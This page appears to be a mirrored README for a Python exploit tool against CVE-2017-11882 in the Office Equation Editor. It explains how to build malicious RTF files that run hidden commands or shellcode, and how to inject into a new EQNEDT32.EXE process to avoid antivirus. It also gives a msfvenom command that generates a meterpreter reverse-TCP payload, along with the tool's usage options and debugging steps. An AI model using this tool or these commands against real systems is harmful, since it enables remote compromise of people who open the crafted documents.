Awesome Open Source
Awesome Open Source

CVE-2017-11882 Exploit

CVE-2017-11882 Exploit accepts over 17k bytes long command/code in maximum.

For remote command execution,this exploit will call WinExec with SW_HIDE and call ExitProcess after WinExec returns.

For remote code execution,this exploit just jmp to code.

I cannot find a reference for the object I cannot change the file length for arbitrary length code execution..:(

But I do think 17k bytes is really enough. Python script will detect the payload size you need and choose the correct payload template.

Caution: RCE will stuck winword process if you don't migrate to another process!

Currently this exploit will inject your shellcode to new EQNEDT32.EXE process if you specify -i flag. This operation is suspicious to AV but it won't stuck the word process.


usage: [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT

Exploit for CVE-2017-11882 @unamer(

optional arguments:
  -h, --help            show this help message and exit
  -c CMD, --cmd CMD     Command or shellcode file to run in target system
                        (Must be shorter than 17967 bytes!!)
  -t {0,1}, --type {0,1}
                        Type (0:shellcode 1:command, default=1)
  -i INJECT, --inject INJECT
                        Inject shellcode to new process
  -o OUTPUT, --output OUTPUT
                        Output exploit rtf


For remote command execution -c cmd.exe -o test.rtf

For remote code execution

  1. Generate some shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=2333 -o ./sc.bin
  1. Generate exploit -c sc.bin -t 0 -i 1 -o test.rtf


  1. Set debugger value to your debugger path in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE

  2. Build an exploit and run it.

  3. Set break point at 0x41165f

  4. This break point will be hit twice, at second time the payload will be executed after this function returned.



Get A Weekly Email With Trending Projects For These Topics
No Spam. Unsubscribe easily at any time.
python (51,962
exploit (216
shellcode (46

Find Open Source By Browsing 7,000 Topics Across 59 Categories